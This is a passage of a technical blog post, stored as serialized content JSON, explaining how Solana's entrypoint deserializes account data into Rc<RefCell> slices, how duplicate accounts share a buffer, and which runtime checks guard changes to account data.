&instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[12579],{"type":23,"tag":135,"props":12580,"children":12581},{"__ignoreMap":7},[12582,12590,12662,12705,12757,12816,12859,12902,12909],{"type":23,"tag":139,"props":12583,"children":12584},{"class":141,"line":142},[12585],{"type":23,"tag":139,"props":12586,"children":12587},{"style":259},[12588],{"type":28,"value":12589},"#[no_mangle]\n",{"type":23,"tag":139,"props":12591,"children":12592},{"class":141,"line":151},[12593,12597,12602,12607,12612,12616,12621,12625,12629,12633,12637,12641,12646,12650,12654,12658],{"type":23,"tag":139,"props":12594,"children":12595},{"style":279},[12596],{"type":28,"value":11701},{"type":23,"tag":139,"props":12598,"children":12599},{"style":279},[12600],{"type":28,"value":12601}," unsafe",{"type":23,"tag":139,"props":12603,"children":12604},{"style":279},[12605],{"type":28,"value":12606}," extern",{"type":23,"tag":139,"props":12608,"children":12609},{"style":265},[12610],{"type":28,"value":12611}," \"C\"",{"type":23,"tag":139,"props":12613,"children":12614},{"style":279},[12615],{"type":28,"value":11706},{"type":23,"tag":139,"props":12617,"children":12618},{"style":245},[12619],{"type":28,"value":12620}," entrypoint",{"type":23,"tag":139,"props":12622,"children":12623},{"style":259},[12624],{"type":28,"value":262},{"type":23,"tag":139,"props":12626,"children":12627},{"style":294},[12628],{"type":28,"value":6371},{"type":23,"tag":139,"props":12630,"children":12631},{"style":982},[12632],{"type":28,"value":2493},{"type":23,"tag":139,"props":12634,"children":12635},{"style":982},[12636],{"type":28,"value":7825},{"type":23,"tag":139,"props":12638,"children":12639},{"style":279},[12640],{"type":28,"value":1713},{"type":23,"tag":139,"props":12642,"children":12643},{"style":305},[12644],{"type":28,"value":12645}," u8",{"type":23,"tag":139,"props":12647,"children":12648},{"style":259},[12649],{"type":28,"value":1062},{"type":23,"tag":139,"props":12651,"children":12652},{"style":982},[12653],{"type":28,"value":11768},{"type":23,"tag":139,"props":12655,"children":12656},{"style":305},[12657],{"type":28,"value":3862},{"type":23,"tag":139,"props":12659,"children":12660},{"style":259},[12661],{"type":28,"value":1268},{"type":23,"tag":139,"props":12663,"children":12664},{"class":141,"line":160},[12665,12669,12673,12678,12682,12687,12691,12696,12700],{"type":23,"tag":139,"props":12666,"children":12667},{"style":279},[12668],{"type":28,"value":969},{"type":23,"tag":139,"props":12670,"children":12671},{"style":259},[12672],{"type":28,"value":1042},{"type":23,"tag":139,"props":12674,"children":12675},{"style":294},[12676],{"type":28,"value":12677},"program_id",{"type":23,"tag":139,"props":12679,"children":12680},{"style":259},[12681],{"type":28,"value":1052},{"type":23,"tag":139,"props":12683,"children":12684},{"style":294},[12685],{"type":28,"value":12686},"accounts",{"type":23,"tag":139,"props":12688,"children":12689},{"style":259},[12690],{"type":28,"value":1052},{"type":23,"tag":139,"props":12692,"children":12693},{"style":294},[12694],{"type":28,"value":12695},"instruction_data",{"type":23,"tag":139,"props":12697,"children":12698},{"style":259},[12699],{"type":28,"value":1062},{"type":23,"tag":139,"props":12701,"children":12702},{"style":982},[12703],{"type":28,"value":12704},"=\n",{"type":23,"tag":139,"props":12706,"children":12707},{"class":141,"line":169},[12708,12713,12717,12721,12726,12730,12735,12739,12744,12748,12752],{"type":23,"tag":139,"props":12709,"children":12710},{"style":279},[12711],{"type":28,"value":12712},"        unsafe",{"type":23,"tag":139,"props":12714,"children":12715},{"style":259},[12716],{"type":28,"value":7594},{"type":23,"tag":139,"props":12718,"children":12719},{"style":982},[12720],{"type":28,"value":8297},{"type":23,"tag":139,"props":12722,"children":12723},{"style":279},[12724],{"type":28,"value":12725},"crate",{"type":23,"tag":139,"props":12727,"children":12728},{"style":982},[12729],{"type":28,"value":1461},{"type":23,"tag":139,"props":12731,"children":12732},{"style":259},[12733],{"type":28,"value":12734},"entrypoint",{"type":23,"tag":139,"props":12736,"children":12737},{"style":982},[12738],{"type":28,"value":1461},{"type":23,"tag":139,"props":12740,"children":12741},{"style":245},[12742],{"type":28,"value":12743},"deserialize",{"type":23,"tag":139,"props":12745,"children":12746},{"style":259},[12747],{"type":28,"value":262},{"type":23,"tag":139,"props":12749,"children":12750},{"style":294},[12751],{"type":28,"value":6371},{"type":23,"tag":139,"props":12753,"children":12754},{"style":259},[12755],{"type":28,"value":12756},") };\n",{"type":23,"tag":139,"props":12758,"children":12759},{"class":141,"line":178},[12760,12765,12770,12775,12779,12783,12787,12791,12795,12799,12803,12807,12811],{"type":23,"tag":139,"props":12761,"children":12762},{"style":319},[12763],{"type":28,"value":12764},"    match",{"type":23,"tag":139,"props":12766,"children":12767},{"style":982},[12768],{"type":28,"value":12769}," $",{"type":23,"tag":139,"props":12771,"children":12772},{"style":294},[12773],{"type":28,"value":12774},"process_instruction",{"type":23,"tag":139,"props":12776,"children":12777},{"style":259},[12778],{"type":28,"value":262},{"type":23,"tag":139,"props":12780,"children":12781},{"style":982},[12782],{"type":28,"value":1085},{"type":23,"tag":139,"props":12784,"children":12785},{"style":294},[12786],{"type":28,"value":12677},{"type":23,"tag":139,"props":12788,"children":12789},{"style":259},[12790],{"type":28,"value":1052},{"type":23,"tag":139,"props":12792,"children":12793},{"style":982},[12794],{"type":28,"value":1085},{"type":23,"tag":139,"props":12796,"children":12797},{"style":294},[12798],{"type":28,"value":12686},{"type":23,"tag":139,"props":12800,"children":12801},{"style":259},[12802],{"type":28,"value":1052},{"type":23,"tag":139,"props":12804,"children":12805},{"style":982},[12806],{"type":28,"value":1085},{"type":23,"tag":139,"props":12808,"children":12809},{"style":294},[12810],{"type":28,"value":12695},{"type":23,"tag":139,"props":12812,"children":12813},{"style":259},[12814],{"type":28,"value":12815},") {\n",{"type":23,"tag":139,"props":12817,"children":12818},{"class":141,"line":187},[12819,12824,12829,12834,12838,12842,12846,12850,12854],{"type":23,"tag":139,"props":12820,"children":12821},{"style":305},[12822],{"type":28,"value":12823},"        Ok",{"type":23,"tag":139,"props":12825,"children":12826},{"style":259},[12827],{"type":28,"value":12828},"(()) ",{"type":23,"tag":139,"props":12830,"children":12831},{"style":982},[12832],{"type":28,"value":12833},"=>",{"type":23,"tag":139,"props":12835,"children":12836},{"style":982},[12837],{"type":28,"value":12769},{"type":23,"tag":139,"props":12839,"children":12840},{"style":279},[12841],{"type":28,"value":12725},{"type":23,"tag":139,"props":12843,"children":12844},{"style":982},[12845],{"type":28,"value":1461},{"type":23,"tag":139,"props":12847,"children":12848},{"style":259},[12849],{"type":28,"value":12734},{"type":23,"tag":139,"props":12851,"children":12852},{"style":982},[12853],{"type":28,"value":1461},{"type":23,"tag":139,"props":12855,"children":12856},{"style":259},[12857],{"type":28,"value":12858},"SUCCESS,\n",{"type":23,"tag":139,"props":12860,"children":12861},{"class":141,"line":196},[12862,12867,12871,12876,12880,12884,12889,12893,12898],{"type":23,"tag":139,"props":12863,"children":12864},{"style":305},[12865],{"type":28,"value":12866},"        Err",{"type":23,"tag":139,"props":12868,"children":12869},{"style":259},[12870],{"type":28,"value":262},{"type":23,"tag":139,"props":12872,"children":12873},{"style":294},[12874],{"type":28,"value":12875},"error",{"type":23,"tag":139,"props":12877,"children":12878},{"style":259},[12879],{"type":28,"value":1062},{"type":23,"tag":139,"props":12881,"children":12882},{"style":982},[12883],{"type":28,"value":12833},{"type":23,"tag":139,"props":12885,"children":12886},{"style":294},[12887],{"type":28,"value":12888}," error",{"type":23,"tag":139,"props":12890,"children":12891},{"style":982},[12892],{"type":28,"value":73},{"type":23,"tag":139,"props":12894,"children":12895},{"style":245},[12896],{"type":28,"value":12897},"into",{"type":23,"tag":139,"props":12899,"children":12900},{"style":259},[12901],{"type":28,"value":1471},{"type":23,"tag":139,"props":12903,"children":12904},{"class":141,"line":205},[12905],{"type":23,"tag":139,"props":12906,"children":12907},{"style":259},[12908],{"type":28,"value":1335},{"type":23,"tag":139,"props":12910,"children":12911},{"class":141,"line":214},[12912],{"type":23,"tag":139,"props":12913,"children":12914},{"style":259},[12915],{"type":28,"value":1897},{"type":23,"tag":24,"props":12917,"children":12918},{},[12919,12921,12926,12928,12934,12936,12943,12945,12951,12953,12960],{"type":28,"value":12920},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":135,"props":12922,"children":12924},{"className":12923},[],[12925],{"type":28,"value":1401},{"type":28,"value":12927}," buffer in from the loader, and calls ",{"type":23,"tag":135,"props":12929,"children":12931},{"className":12930},[],[12932],{"type":28,"value":12933},"solana_program::entrypoint::deserialize",{"type":28,"value":12935},", which then ",{"type":23,"tag":64,"props":12937,"children":12940},{"href":12938,"rel":12939},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[68],[12941],{"type":28,"value":12942},"parses out",{"type":28,"value":12944}," all the ",{"type":23,"tag":135,"props":12946,"children":12948},{"className":12947},[],[12949],{"type":28,"value":12950},"AccountInfo",{"type":28,"value":12952},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":64,"props":12954,"children":12957},{"href":12955,"rel":12956},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[68],[12958],{"type":28,"value":12959},"laid out",{"type":28,"value":2493},{"type":23,"tag":128,"props":12962,"children":12964},{"className":948,"code":12963,"language":947,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[12965],{"type":23,"tag":135,"props":12966,"children":12967},{"__ignoreMap":7},[12968,12985,13065,13098,13105,13153,13198,13206,13230],{"type":23,"tag":139,"props":12969,"children":12970},{"class":141,"line":142},[12971,12976,12980],{"type":23,"tag":139,"props":12972,"children":12973},{"style":259},[12974],{"type":28,"value":12975},"#[allow(clippy",{"type":23,"tag":139,"props":12977,"children":12978},{"style":982},[12979],{"type":28,"value":1461},{"type":23,"tag":139,"props":12981,"children":12982},{"style":259},[12983],{"type":28,"value":12984},"cast_ptr_alignment)]\n",{"type":23,"tag":139,"props":12986,"children":12987},{"class":141,"line":151},[12988,12992,12997,13001,13005,13009,13013,13017,13021,13025,13029,13033,13037,13041,13045,13049,13053,13057,13061],{"type":23,"tag":139,"props":12989,"children":12990},{"style":279},[12991],{"type":28,"value":9798},{"type":23,"tag":139,"props":12993,"children":12994},{"style":294},[12995],{"type":28,"value":12996}," data_len",{"type":23,"tag":139,"props":12998,"children":12999},{"style":982},[13000],{"type":28,"value":985},{"type":23,"tag":139,"props":13002,"children":13003},{"style":982},[13004],{"type":28,"value":7825},{"type":23,"tag":139,"props":13006,"children":13007},{"style":259},[13008],{"type":28,"value":262},{"type":23,"tag":139,"props":13010,"children":13011},{"style":294},[13012],{"type":28,"value":6371},{"type":23,"tag":139,"props":13014,"children":13015},{"style":982},[13016],{"type":28,"value":73},{"type":23,"tag":139,"props":13018,"children":13019},{"style":245},[13020],{"type":28,"value":7646},{"type":23,"tag":139,"props":13022,"children":13023},{"style":259},[13024],{"type":28,"value":262},{"type":23,"tag":139,"props":13026,"children":13027},{"style":294},[13028],{"type":28,"value":11912},{"type":23,"tag":139,"props":13030,"children":13031},{"style":259},[13032],{"type":28,"value":1062},{"type":23,"tag":139,"props":13034,"children":13035},{"style":279},[13036],{"type":28,"value":6847},{"type":23,"tag":139,"props":13038,"children":13039},{"style":982},[13040],{"type":28,"value":7825},{"type":23,"tag":139,"props":13042,"children":13043},{"style":279},[13044],{"type":28,"value":7663},{"type":23,"tag":139,"props":13046,"children":13047},{"style":305},[13048],{"type":28,"value":3862},{"type":23,"tag":139,"props":13050,"children":13051},{"style":259},[13052],{"type":28,"value":1062},{"type":23,"tag":139,"props":13054,"children":13055},{"style":279},[13056],{"type":28,"value":6847},{"type":23,"tag":139,"props":13058,"children":13059},{"style":305},[13060],{"type":28,"value":11742},{"type":23,"tag":139,"props":13062,"children":13063},{"style":259},[13064],{"type":28,"value":995},{"type":23,"tag":139,"props":13066,"children":13067},{"class":141,"line":160},[13068,13072,13077,13082,13086,13090,13094],{"type":23,"tag":139,"props":13069,"children":13070},{"style":294},[13071],{"type":28,"value":11912},{"type":23,"tag":139,"props":13073,"children":13074},{"style":982},[13075],{"type":28,"value":13076}," +=",{"type":23,"tag":139,"props":13078,"children":13079},{"style":245},[13080],{"type":28,"value":13081}," size_of",{"type":23,"tag":139,"props":13083,"children":13084},{"style":982},[13085],{"type":28,"value":1461},{"type":23,"tag":139,"props":13087,"children":13088},{"style":259},[13089],{"type":28,"value":3808},{"type":23,"tag":139,"props":13091,"children":13092},{"style":305},[13093],{"type":28,"value":6046},{"type":23,"tag":139,"props":13095,"children":13096},{"style":259},[13097],{"type":28,"value":6456},{"type":23,"tag":139,"props":13099,"children":13100},{"class":141,"line":169},[13101],{"type":23,"tag":139,"props":13102,"children":13103},{"emptyLinePlaceholder":15},[13104],{"type":28,"value":184},{"type":23,"tag":139,"props":13106,"children":13107},{"class":141,"line":178},[13108,13112,13117,13121,13126,13130,13135,13140,13144,13148],{"type":23,"tag":139,"props":13109,"children":13110},{"style":279},[13111],{"type":28,"value":9798},{"type":23,"tag":139,"props":13113,"children":13114},{"style":294},[13115],{"type":28,"value":13116}," data",{"type":23,"tag":139,"props":13118,"children":13119},{"style":982},[13120],{"type":28,"value":985},{"type":23,"tag":139,"props":13122,"children":13123},{"style":305},[13124],{"type":28,"value":13125}," Rc",{"type":23,"tag":139,"props":13127,"children":13128},{"style":982},[13129],{"type":28,"value":1461},{"type":23,"tag":139,"props":13131,"children":13132},{"style":245},[13133],{"type":28,"value":13134},"new",{"type":23,"tag":139,"props":13136,"children":13137},{"style":259},[13138],{"type":28,"value":13139},"(RefCell",{"type":23,"tag":139,"props":13141,"children":13142},{"style":982},[13143],{"type":28,"value":1461},{"type":23,"tag":139,"props":13145,"children":13146},{"style":245},[13147],{"type":28,"value":13134},{"type":23,"tag":139,"props":13149,"children":13150},{"style":259},[13151],{"type":28,"value":13152},"({\n",{"type":23,"tag":139,"props":13154,"children":13155},{"class":141,"line":187},[13156,13161,13165,13169,13173,13177,13181,13185,13190,13194],{"type":23,"tag":139,"props":13157,"children":13158},{"style":245},[13159],{"type":28,"value":13160},"    from_raw_parts_mut",{"type":23,"tag":139,"props":13162,"children":13163},{"style":259},[13164],{"type":28,"value":262},{"type":23,"tag":139,"props":13166,"children":13167},{"style":294},[13168],{"type":28,"value":6371},{"type":23,"tag":139,"props":13170,"children":13171},{"style":982},[13172],{"type":28,"value":73},{"type":23,"tag":139,"props":13174,"children":13175},{"style":245},[13176],{"type":28,"value":7646},{"type":23,"tag":139,"props":13178,"children":13179},{"style":259},[13180],{"type":28,"value":262},{"type":23,"tag":139,"props":13182,"children":13183},{"style":294},[13184],{"type":28,"value":11912},{"type":23,"tag":139,"props":13186,"children":13187},{"style":259},[13188],{"type":28,"value":13189},"), ",{"type":23,"tag":139,"props":13191,"children":13192},{"style":294},[13193],{"type":28,"value":11817},{"type":23,"tag":139,"props":13195,"children":13196},{"style":259},[13197],{"type":28,"value":273},{"type":23,"tag":139,"props":13199,"children":13200},{"class":141,"line":196},[13201],{"type":23,"tag":139,"props":13202,"children":13203},{"style":259},[13204],{"type":28,"value":13205},"}));\n",{"type":23,"tag":139,"props":13207,"children":13208},{"class":141,"line":205},[13209,13213,13217,13221,13225],{"type":23,"tag":139,"props":13210,"children":13211},{"style":294},[13212],{"type":28,"value":11912},{"type":23,"tag":139,"props":13214,"children":13215},{"style":982},[13216],{"type":28,"value":13076},{"type":23,"tag":139,"props":13218,"children":13219},{"style":294},[13220],{"type":28,"value":12996},{"type":23,"tag":139,"props":13222,"children":13223},{"style":982},[13224],{"type":28,"value":6910},{"type":23,"tag":139,"props":13226,"children":13227},{"style":259},[13228],{"type":28,"value":13229}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":139,"props":13231,"children":13232},{"class":141,"line":214},[13233,13237,13241,13245,13249,13253,13257,13261,13265,13269,13273,13278,13283],{"type":23,"tag":139,"props":13234,"children":13235},{"style":294},[13236],{"type":28,"value":11912},{"type":23,"tag":139,"props":13238,"children":13239},{"style":982},[13240],{"type":28,"value":13076},{"type":23,"tag":139,"props":13242,"children":13243},{"style":259},[13244],{"type":28,"value":1042},{"type":23,"tag":139,"props":13246,"children":13247},{"style":294},[13248],{"type":28,"value":11912},{"type":23,"tag":139,"props":13250,"children":13251},{"style":279},[13252],{"type":28,"value":6833},{"type":23,"tag":139,"props":13254,"children":13255},{"style":982},[13256],{"type":28,"value":7825},{"type":23,"tag":139,"props":13258,"children":13259},{"style":279},[13260],{"type":28,"value":7663},{"type":23,"tag":139,"props":13262,"children":13263},{"style":305},[13264],{"type":28,"value":12645},{"type":23,"tag":139,"props":13266,"children":13267},{"style":259},[13268],{"type":28,"value":1104},{"type":23,"tag":139,"props":13270,"children":13271},{"style":982},[13272],{"type":28,"value":73},{"type":23,"tag":139,"props":13274,"children":13275},{"style":245},[13276],{"type":28,"value":13277},"align_offset",{"type":23,"tag":139,"props":13279,"children":13280},{"style":259},[13281],{"type":28,"value":13282},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":139,"props":13284,"children":13285},{"style":958},[13286],{"type":28,"value":13287},"// padding\n",{"type":23,"tag":24,"props":13289,"children":13290},{},[13291,13293,13298,13300,13306,13308,13319,13321,13326,13328,13334,13336,13342,13344,13350],{"type":28,"value":13292},"In English, we have the length of the data, as a ",{"type":23,"tag":135,"props":13294,"children":13296},{"className":13295},[],[13297],{"type":28,"value":6046},{"type":28,"value":13299},", followed immediately by the data, and an additional ",{"type":23,"tag":135,"props":13301,"children":13303},{"className":13302},[],[13304],{"type":28,"value":13305},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":13307}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":64,"props":13309,"children":13312},{"href":13310,"rel":13311},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[68],[13313],{"type":23,"tag":135,"props":13314,"children":13316},{"className":13315},[],[13317],{"type":28,"value":13318},"slice::from_raw_parts_mut",{"type":28,"value":13320},") - slices are how Rust represents a, well, ",{"type":23,"tag":659,"props":13322,"children":13323},{},[13324],{"type":28,"value":13325},"slice",{"type":28,"value":13327}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":135,"props":13329,"children":13331},{"className":13330},[],[13332],{"type":28,"value":13333},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":13335},", giving us the unwieldy-looking type of ",{"type":23,"tag":135,"props":13337,"children":13339},{"className":13338},[],[13340],{"type":28,"value":13341},"AccountInfo.data",{"type":28,"value":13343},": ",{"type":23,"tag":135,"props":13345,"children":13347},{"className":13346},[],[13348],{"type":28,"value":13349},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":73},{"type":23,"tag":24,"props":13352,"children":13353},{},[13354,13356,13363],{"type":28,"value":13355},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":64,"props":13357,"children":13360},{"href":13358,"rel":13359},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[68],[13361],{"type":28,"value":13362},"cloning the referenced account",{"type":28,"value":2493},{"type":23,"tag":128,"props":13365,"children":13367},{"className":948,"code":13366,"language":947,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[13368],{"type":23,"tag":135,"props":13369,"children":13370},{"__ignoreMap":7},[13371,13379],{"type":23,"tag":139,"props":13372,"children":13373},{"class":141,"line":142},[13374],{"type":23,"tag":139,"props":13375,"children":13376},{"style":958},[13377],{"type":28,"value":13378},"// Duplicate account, clone the original\n",{"type":23,"tag":139,"props":13380,"children":13381},{"class":141,"line":151},[13382,13386,13390,13394,13398,13402,13406,13411,13415,13419,13424,13428,13433],{"type":23,"tag":139,"props":13383,"children":13384},{"style":294},[13385],{"type":28,"value":12686},{"type":23,"tag":139,"props":13387,"children":13388},{"style":982},[13389],{"type":28,"value":73},{"type":23,"tag":139,"props":13391,"children":13392},{"style":245},[13393],{"type":28,"value":1806},{"type":23,"tag":139,"props":13395,"children":13396},{"style":259},[13397],{"type":28,"value":262},{"type":23,"tag":139,"props":13399,"children":13400},{"style":294},[13401],{"type":28,"value":12686},{"type":23,"tag":139,"props":13403,"children":13404},{"style":259},[13405],{"type":28,"value":1723},{"type":23,"tag":139,"props":13407,"children":13408},{"style":294},[13409],{"type":28,"value":13410},"dup_info",{"type":23,"tag":139,"props":13412,"children":13413},{"style":279},[13414],{"type":28,"value":6833},{"type":23,"tag":139,"props":13416,"children":13417},{"style":305},[13418],{"type":28,"value":11742},{"type":23,"tag":139,"props":13420,"children":13421},{"style":259},[13422],{"type":28,"value":13423},"]",{"type":23,"tag":139,"props":13425,"children":13426},{"style":982},[13427],{"type":28,"value":73},{"type":23,"tag":139,"props":13429,"children":13430},{"style":245},[13431],{"type":28,"value":13432},"clone",{"type":23,"tag":139,"props":13434,"children":13435},{"style":259},[13436],{"type":28,"value":13437},"());\n",{"type":23,"tag":24,"props":13439,"children":13440},{},[13441,13443,13448,13450,13455,13457,13462,13464,13469,13470,13476,13478,13483,13485,13495,13497,13502],{"type":28,"value":13442},"Since ",{"type":23,"tag":135,"props":13444,"children":13446},{"className":13445},[],[13447],{"type":28,"value":1691},{"type":28,"value":13449}," inside the ",{"type":23,"tag":135,"props":13451,"children":13453},{"className":13452},[],[13454],{"type":28,"value":12950},{"type":28,"value":13456}," is a ",{"type":23,"tag":135,"props":13458,"children":13460},{"className":13459},[],[13461],{"type":28,"value":13333},{"type":28,"value":13463},", where the ",{"type":23,"tag":135,"props":13465,"children":13467},{"className":13466},[],[13468],{"type":28,"value":3990},{"type":28,"value":13456},{"type":23,"tag":135,"props":13471,"children":13473},{"className":13472},[],[13474],{"type":28,"value":13475},"&mut [u8]",{"type":28,"value":13477}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":135,"props":13479,"children":13481},{"className":13480},[],[13482],{"type":28,"value":12950},{"type":28,"value":13484},", we get a new reference",{"type":23,"tag":636,"props":13486,"children":13487},{},[13488],{"type":23,"tag":64,"props":13489,"children":13493},{"href":13490,"ariaDescribedBy":13491,"dataFootnoteRef":7,"id":13492},"#user-content-fn-rc-refs",[643],"user-content-fnref-rc-refs",[13494],{"type":28,"value":647},{"type":28,"value":13496}," to the slice pointing at the ",{"type":23,"tag":659,"props":13498,"children":13499},{},[13500],{"type":28,"value":13501},"same",{"type":28,"value":13503}," data buffer.",{"type":23,"tag":24,"props":13505,"children":13506},{},[13507,13509,13515,13517,13523],{"type":28,"value":13508},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":135,"props":13510,"children":13512},{"className":13511},[],[13513],{"type":28,"value":13514},"RefCell",{"type":28,"value":13516}," to check the rules at runtime. (The ",{"type":23,"tag":135,"props":13518,"children":13520},{"className":13519},[],[13521],{"type":28,"value":13522},"lamports",{"type":28,"value":13524}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":24,"props":13526,"children":13527},{},[13528,13530,13536],{"type":28,"value":13529},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":135,"props":13531,"children":13533},{"className":13532},[],[13534],{"type":28,"value":13535},"AccountInfo::data",{"type":28,"value":13537},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":24,"props":13539,"children":13540},{},[13541,13543,13550],{"type":28,"value":13542},"This is also where the ",{"type":23,"tag":64,"props":13544,"children":13547},{"href":13545,"rel":13546},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[68],[13548],{"type":28,"value":13549},"runtime validity checks",{"type":28,"value":13551}," are imposed.",{"type":23,"tag":128,"props":13553,"children":13555},{"className":948,"code":13554,"language":947,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[13556],{"type":23,"tag":135,"props":13557,"children":13558},{"__ignoreMap":7},[13559,13567,13575,13583,13625,13643,13672,13717,13724,13748,13783,13808,13840,13855,13887,13894],{"type":23,"tag":139,"props":13560,"children":13561},{"class":141,"line":142},[13562],{"type":23,"tag":139,"props":13563,"children":13564},{"style":958},[13565],{"type":28,"value":13566},"// Only the owner may change account data\n",{"type":23,"tag":139,"props":13568,"children":13569},{"class":141,"line":151},[13570],{"type":23,"tag":139,"props":13571,"children":13572},{"style":958},[13573],{"type":28,"value":13574},"//   and if the account is writable\n",{"type":23,"tag":139,"props":13576,"children":13577},{"class":141,"line":160},[13578],{"type":23,"tag":139,"props":13579,"children":13580},{"style":958},[13581],{"type":28,"value":13582},"//   and if the account is not executable\n",{"type":23,"tag":139,"props":13584,"children":13585},{"class":141,"line":169},[13586,13591,13595,13599,13603,13607,13612,13616,13621],{"type":23,"tag":139,"props":13587,"children":13588},{"style":319},[13589],{"type":28,"value":13590},"if",{"type":23,"tag":139,"props":13592,"children":13593},{"style":982},[13594],{"type":28,"value":10875},{"type":23,"tag":139,"props":13596,"children":13597},{"style":259},[13598],{"type":28,"value":262},{"type":23,"tag":139,"props":13600,"children":13601},{"style":294},[13602],{"type":28,"value":12677},{"type":23,"tag":139,"props":13604,"children":13605},{"style":982},[13606],{"type":28,"value":1259},{"type":23,"tag":139,"props":13608,"children":13609},{"style":294},[13610],{"type":28,"value":13611}," pre",{"type":23,"tag":139,"props":13613,"children":13614},{"style":982},[13615],{"type":28,"value":73},{"type":23,"tag":139,"props":13617,"children":13618},{"style":245},[13619],{"type":28,"value":13620},"owner",{"type":23,"tag":139,"props":13622,"children":13623},{"style":259},[13624],{"type":28,"value":5739},{"type":23,"tag":139,"props":13626,"children":13627},{"class":141,"line":178},[13628,13633,13638],{"type":23,"tag":139,"props":13629,"children":13630},{"style":982},[13631],{"type":28,"value":13632},"    &&",{"type":23,"tag":139,"props":13634,"children":13635},{"style":294},[13636],{"type":28,"value":13637}," is_writable",{"type":23,"tag":139,"props":13639,"children":13640},{"style":958},[13641],{"type":28,"value":13642},"  // line coverage used to get branch coverage\n",{"type":23,"tag":139,"props":13644,"children":13645},{"class":141,"line":187},[13646,13650,13654,13658,13662,13667],{"type":23,"tag":139,"props":13647,"children":13648},{"style":982},[13649],{"type":28,"value":13632},{"type":23,"tag":139,"props":13651,"children":13652},{"style":982},[13653],{"type":28,"value":10875},{"type":23,"tag":139,"props":13655,"children":13656},{"style":294},[13657],{"type":28,"value":128},{"type":23,"tag":139,"props":13659,"children":13660},{"style":982},[13661],{"type":28,"value":73},{"type":23,"tag":139,"props":13663,"children":13664},{"style":245},[13665],{"type":28,"value":13666},"executable",{"type":23,"tag":139,"props":13668,"children":13669},{"style":259},[13670],{"type":28,"value":13671},"())\n",{"type":23,"tag":139,"props":13673,"children":13674},{"class":141,"line":196},[13675,13679,13683,13687,13691,13695,13700,13705,13709,13713],{"type":23,"tag":139,"props":13676,"children":13677},{"style":982},[13678],{"type":28,"value":13632},{"type":23,"tag":139,"props":13680,"children":13681},{"style":294},[13682],{"type":28,"value":13611},{"type":23,"tag":139,"props":13684,"children":13685},{"style":982},[13686],{"type":28,"value":73},{"type":23,"tag":139,"props":13688,"children":13689},{"style":245},[13690],{"type":28,"value":1691},{"type":23,"tag":139,"props":13692,"children":13693},{"style":259},[13694],{"type":28,"value":12054},{"type":23,"tag":139,"props":13696,"children":13697},{"style":982},[13698],{"type":28,"value":13699},"!=",{"type":23,"tag":139,"props":13701,"children":13702},{"style":294},[13703],{"type":28,"value":13704}," post",{"type":23,"tag":139,"props":13706,"children":13707},{"style":982},[13708],{"type":28,"value":73},{"type":23,"tag":139,"props":13710,"children":13711},{"style":245},[13712],{"type":28,"value":1691},{"type":23,"tag":139,"props":13714,"children":13715},{"style":259},[13716],{"type":28,"value":5739},{"type":23,"tag":139,"props":13718,"children":13719},{"class":141,"line":205},[13720],{"type":23,"tag":139,"props":13721,"children":13722},{"style":259},[13723],{"type":28,"value":8890},{"type":23,"tag":139,"props":13725,"children":13726},{"class":141,"line":214},[13727,13731,13735,13739,13743],{"type":23,"tag":139,"props":13728,"children":13729},{"style":319},[13730],{"type":28,"value":10290},{"type":23,"tag":139,"props":13732,"children":13733},{"style":294},[13734],{"type":28,"value":13611},{"type":23,"tag":139,"props":13736,"children":13737},{"style":982},[13738],{"type":28,"value":73},{"type":23,"tag":139,"props":13740,"children":13741},{"style":245},[13742],{"type":28,"value":13666},{"type":23,"tag":139,"props":13744,"children":13745},{"style":259},[13746],{"type":28,"value":13747},"() {\n",{"type":23,"tag":139,"props":13749,"children":13750},{"class":141,"line":1320},[13751,13756,13761,13765,13770,13774,13779],{"type":23,"tag":139,"props":13752,"children":13753},{"style":319},[13754],{"type":28,"value":13755},"        return",{"type":23,"tag":139,"props":13757,"children":13758},{"style":305},[13759],{"type":28,"value":13760}," 